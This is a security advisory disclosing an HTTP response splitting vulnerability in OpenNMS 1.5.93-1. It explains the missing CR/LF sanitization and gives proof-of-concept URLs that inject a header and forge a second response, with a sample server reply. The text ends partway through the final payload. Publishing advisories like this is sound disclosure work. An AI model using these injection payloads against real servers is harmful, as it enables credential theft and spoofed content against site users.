OpenNMS Multiple Vulnerabilities -------------------------------- BugSec | Security Advisory Moshe Ben-Abu | Security Expert Advisory URL (PDF): http://www.bugsec.com/up_files/OpenNMS_Multiple_Vulnerabilities.pdf Vendor ------ OpenNMS Group http://www.opennms.com OpenNMS Project http://www.opennms.org Application Description ----------------------- OpenNMS is the world's first enterprise grade network management platform developed under the open source model. It consists of a community supported open-source project as well as a commercial services, training, and support organization. - From OpenNMS Project website. OpenNMS HTTP Response Splitting Vulnerability --------------------------------------------- Vulnerability Information ------------------------- Remotely exploitable: Yes Locally exploitable: No Affected versions: OpenNMS 1.5.93-1 Other versions may also be affected. Vulnerability Details --------------------- An input validation problem exists within OpenNMS which allows injecting CR (carriage return - %0D or \r) and LF (line feed - %0A or \n) characters into the server HTTP response header, resulting in a HTTP Response Splitting[1] vulnerability. This vulnerability is possible because the application fails to validate user supplied input, returning it un-sanitized within the server HTTP response header back to the client. This vulnerability not only gives attackers control of the remaining headers and body of the server response, but also allows them to create additional responses entirely under their control. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is served, cached, or interpreted. Other attacks are also possible. Proof-of-Concept ---------------- Header injection: http://server/opennms/event/query?%0D%0AInjectedHeader:%20BugSec Server response: HTTP/1.1 302 Moved Temporarily Date: Thu, 25 Sep 2008 11:30:05 GMT Server: Apache/2.2.3 Location: http://server/opennms/event/list? InjectedHeader: BugSec= Content-Length: 0 Connection: close Content-Type: text/plain; charset=UTF-8 HTTP Response Splitting: http://server/opennms/event/query?%0D%0AContent-Length:%200%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text /html%0D%0AContent-Length:%2036%0D%0A%0D%0ABugSec